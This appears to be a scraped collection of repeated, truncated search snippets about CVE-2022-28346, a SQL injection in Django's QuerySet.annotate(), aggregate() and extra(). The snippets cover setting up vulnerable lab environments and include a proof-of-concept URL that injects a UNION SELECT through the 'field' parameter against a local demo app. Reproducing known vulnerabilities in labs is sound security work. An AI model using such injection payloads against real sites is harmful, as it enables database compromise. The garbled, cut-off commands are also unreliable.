CVE-2022-28346

Django SQL Injection Vulnerability Environment.

Django SQL Inject Env Django SQL Injection Vulnerability Environment CVE-2020-7471 CVE-2021-35042 CVE-2022-28346

Django QuerySet.annotate(), aggregate(), extra() SQL 注入

CVE-2022-28346 Django QuerySetannotate(), aggregate(), extra() SQL 注入 环境初始化 1python managepy makemigrations 2python managepy migrate 3访问xxxx:8000/ 插入初始化数据 漏洞复现 访问xxxx:8000/demo POC: xxxx:8000/demo?field=demoname" FROM "demo_user" union SELECT &

SQL injection in QuerySet.annotate(), aggregate(), and extra()

CVE-2022-28346 SQL injection in QuerySetannotate(), aggregate(), and extra() Setup: Run /setupsh for initial setup Open the docker image to initiate the database: docker exec -it {container_id} /bin/bash And run the following commands: python managepy makemigrations cve202228346 python managepy migrate Start the instances using: dock

How to setup environment setup db docker run -d -p 50000:5432 -e POSTGRES_PASSWORD=qwe123QWE -e POSTGRES_DB=db postgres:141 execute migration python managepy makemigrations cve python managepy migrate setup service python managepy runserver Issue 1: Repro

python-web-security $ chmod +x db/init-dbsh $ docker-compose build $ docker-compose up -d # cve 2022 28346 localhost:8000 localhost:8000/demo?field=demoname" FROM "demo_user" union SELECT "1",sqlite_version(),"3" -- localhost:8000/demo?field=demoname" FROM "demo_user&qu

A flaw was found in the Django package, which leads to a SQL injection. This flaw allows an attacker using a crafted dictionary containing malicious SQL queries to compromise the database completely.

CVE-2022-28346 A flaw was found in the Django package, which leads to a SQL injection This flaw allows an attacker using a crafted dictionary containing malicious SQL queries to compromise the database completely Table of Contents CVE-2022-28346 Description Environment Proof of Concept and Exploitation References You will find above in the code repository the detailed a

python-web-security $ chmod +x db/init-dbsh $ docker-compose build $ docker-compose up -d # cve 2022 28346 localhost:8000 localhost:8000/demo?field=demoname" FROM "demo_user" union SELECT "1",sqlite_version(),"3" -- localhost:8000/demo?field=demoname" FROM "demo_user&qu